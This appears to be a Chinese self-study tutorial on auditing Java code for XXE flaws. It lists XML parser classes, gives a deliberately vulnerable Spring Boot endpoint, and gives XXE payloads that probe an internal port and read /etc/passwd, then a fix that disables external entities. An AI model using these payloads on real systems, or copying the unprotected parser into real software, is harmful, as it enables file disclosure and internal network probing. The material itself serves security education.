0x00 前提
Java 代码审计自学:主要自己一个人学习,有点闭门造车,搜索引擎学习法,但是还是记录一下,也分享一下,也便于将来的总结和反思,如果我能终能学到什么,我也会重新梳理思路,为那些自学者提供一个好的思路,所以有了下面的系列文章java代码审计自学篇。
0x01 XXE漏洞简介
XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。Java中的XXE支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网,没有回显时可组合利用file协议和ftp协议来读取文件。
0x02 XXE相关基础概念
XML&DTD
XML (可扩展标记语言,EXtensible Markup Language),是一种标记语言,用来传输和存储数据,而非显示数据。
DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。
实体ENTITY
XML中的实体类型,一般有下面几种:字符实体、命名实体(或内部实体)、外部普通实体、外部参数实体。除外部参数实体外,其它实体都以字符(&)开始,以字符(;)结束。
0x03 XXE审计函数
XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口如下:
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
0x04 漏洞代码例子
使用spring boot框架写的小例子
询问一个常用的解析方法,选择一个有回显的方法,方便学习
@RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST)
//直接POST XML数据报过来就行
public String DocumentBuilderVuln(HttpServletRequest request) {
try {
//获取boy
String body = WebUtils.getRequestBody(request);
//实例化DocumentBuilderFactory对象
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
//树立body里面xml转换流
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
//解析XML的对象,转化为Document对象
Document document = db.parse(is);
// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
//返回string 有回显
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
0x05 漏洞利用
http 协议探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8888">
]>
<root>&xxe;</root>
通过回显和延迟,粗略判断,或者DNS无回显探测
FILE 协议 任意文件读取
poc:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
成功读取 etc/passwd
还有一些ooxml 这种后续再写其他的研究一下
0x06 修复
主要是这三句话,加入了禁止使用实体类
很多封装的方法,都是这样的去解决,都是禁用了ENTITY实体。
下面是DocumentBuilder禁用方法
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
@RequestMapping(value = "/Sec", method = RequestMethod.POST)
public String DocumentBuilderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
db.parse(is);
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "DocumentBuilder security code";
}